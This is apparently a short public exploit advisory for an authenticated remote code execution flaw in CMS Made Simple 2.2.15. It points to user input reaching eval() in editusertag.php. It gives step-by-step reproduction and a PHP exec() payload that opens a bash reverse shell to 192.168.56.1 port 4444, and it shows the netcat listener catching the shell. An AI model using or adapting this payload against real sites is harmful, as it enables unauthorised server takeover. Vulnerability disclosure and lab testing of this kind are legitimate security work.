30 lines
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1 KiB
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30 lines
No EOL
1 KiB
Text
# Exploit Title: CMS Made Simple 2.2.15 - RCE (Authenticated)
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# Author: Andrey Stoykov
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# Vendor Homepage: https://www.cmsmadesimple.org/
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# Software Link: https://www.cmsmadesimple.org/downloads/cmsms
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# Version: 2.2.15
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# Tested on: Debian 10 LAMPP
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# Exploit and Detailed Info: https://infosecresearchlab.blogspot.com/2020/12/cms-made-simple-2215-authenticated-rce.html
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Vulnerability is present at "editusertag.php" at line #93 where the user input is in eval() PHP function.
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// Vulnerable eval() code
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if (eval('function testfunction'.rand().'() {'.$code."\n}") === FALSE) {
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Reproduction Steps:
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1. Login as administrator user and navigate to Extensions->User Defined Tags
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2. Add code with the payload of:
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exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.56.1/4444 0>&1'");
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3. Click on the newly created User Defined Tag and use the Run function
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RCE will be achieved:
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astoykov@Lubuntu:~$ nc -kvlp 4444
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nc: getnameinfo: Temporary failure in name resolution
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Connection received on 192.168.56.132 53690
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id
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uid=1(daemon) gid=1(daemon) groups=1(daemon) |